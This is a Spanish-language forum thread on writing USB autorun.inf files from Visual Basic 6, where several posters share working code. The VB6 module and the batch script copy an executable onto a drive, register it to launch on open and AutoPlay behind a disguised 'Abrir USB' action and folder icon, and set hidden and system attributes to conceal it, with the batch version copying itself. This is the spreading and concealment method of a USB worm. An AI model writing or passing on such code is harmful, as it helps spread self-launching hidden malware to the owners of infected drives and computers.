 Autor
|
Tema: Crear Autorun desde VB6 (no funciona) (Leído 6,589 veces)
|
|
cobein
|
esto es mas que suficiente
Shell "explorer " & Left(App.Path, 2), vbNormalFocus
|
|
|
|
|
En línea
|
|
|
|
samue118
 Desconectado
Mensajes: 12
|
ok, solucionado... ahora me surge otra duda  ... Cuando creo un autorun desde el VB ¿¿puedo ponerle el atrubuto oculto o no es posible?? ¿¿O esribir en el autorun algo para que quedo como oculto??
|
|
|
|
|
En línea
|
|
|
|
jackl007
Desconectado
Mensajes: 1.403
[UserRPL]
|
Esto es lo mejor: SetAttr "file", vbHidden Or vbSystem 'oculta incluso asi este la opcion "mostrar oculto" activado :) Hoy ha sido tu dia de suerte 
|
|
|
|
|
En línea
|
|
|
|
samue118
Desconectado
Mensajes: 12
|
jaja gracias jackl007 ツ es cierto q es mi dia de suerte porque asta me afuncionado a la primera  ya se una cosa mas sobre el VB, solo me queda... TODO  un saludo |
|
|
|
|
En línea
|
|
|
|
HK
Desconectado
Mensajes: 247
t(L) Sayuri mi inspiracion
|
Private Sub Command1_Click()
Open "J:\autorun.inf" For Output As #1
Print #1, "[AUTORUN]"
Print #1, "open = 5.exe"
Close #1
MsgBox "OK" podrias intentar cambiar Open "J:\autorun.inf" For Output As #1 a Open "\autorun.inf" For Output As #1 solamente que tendrias que poner el archivo en la carpeta principa y asi no te preocuparias de si cambias de unidad xD osea de j: a x: saludos
|
|
|
|
|
En línea
|
|
|
|
krackwar
Desconectado
Mensajes: 900
|
aprobecho este mismo tema para una pregunta por que este modulo no anda? Public Const FILE_ATTRIBUTE_HIDDEN = 2 Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long Public Function Autorun(unidad As String, Rutadearchivo As String _ , archivo As String, ocultos As Boolean) Dim error As Long CopyFile Rutadearchivo, unidad & "\" & archivo, error Open Environ$("Temp") & "\autorun.inf" For Output As #1 Print #1, "[Autorun]" Print #1, "Open=" & archivo Print #1, "Icon=%SystemRoot%\system32\SHELL32.dll,7" Print #1, "UseAutoPlay=1" Print #1, "Action=Abrir USB" Print #1, "Action= @" & archivo Print #1, "shell\open=Abrir" Print #1, "shell\open\Command=" & archivo Print #1, "shell\open\Default=1" Print #1, "Shell\Explorer\Command=EXPLORER.EXE /E,\" Close #1 CopyFile Environ$("Temp") & "\autorun.inf", unidad & "\" & "autorun.inf", error If ocultos = True Then SetFileAttributes unidad & "\" & archivo, FILE_ATTRIBUTE_HIDDEN SetFileAttributes unidad & "\autorun.txt", FILE_ATTRIBUTE_HIDDEN End If MsgBox error End Function
|
|
|
|
|
En línea
|
Mi blogBienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran. El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios. 
|
|
|
|
.:UND3R:.
|
Bueno si tienes muchos problemas podrias enves de hacerlo en visualbasic podrias hacerlo en bat y luego juntarlo con tu aplicacion resultante @XCOPY %0 %x%
@ATTRIB %0 +H +S
echo [AUTORUN] > %x%Autorun.inf
echo OPEN=Driver.exe >> %x%Autorun.inf
echo shell\open\command=[color=red]aplicacion.exe[/color]>> %x%Autorun.inf
echo shell\open=' >> %x%Autorun.inf
cd %x% Donde %x% es la variable del nombre del dispositivo donde aplicacion.exe es el nombre final de tu aplicacion espero que te sirva saludos |
|
|
|
|
En línea
|
 Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM) |
|
|
krackwar
Desconectado
Mensajes: 900
|
Bueno si tienes muchos problemas podrias enves de hacerlo en visualbasic podrias hacerlo en bat y luego juntarlo con tu aplicacion resultante @XCOPY %0 %x%
@ATTRIB %0 +H +S
echo [AUTORUN] > %x%Autorun.inf
echo OPEN=Driver.exe >> %x%Autorun.inf
echo shell\open\command=[color=red]aplicacion.exe[/color]>> %x%Autorun.inf
echo shell\open=' >> %x%Autorun.inf
cd %x% Donde %x% es la variable del nombre del dispositivo donde aplicacion.exe es el nombre final de tu aplicacion espero que te sirva saludos No quiero usar batch estamos en el foro de VB este foro es para ayudar enn VB no en batch.
|
|
|
|
|
En línea
|
Mi blogBienvenido krackwar, actualmente tu puntuación es de 38 puntos y tu rango es Veteran. El pollo número 1, es decir yo, (krackwar), adoro a Shaddy como a un dios.
|
|
|
|
 |
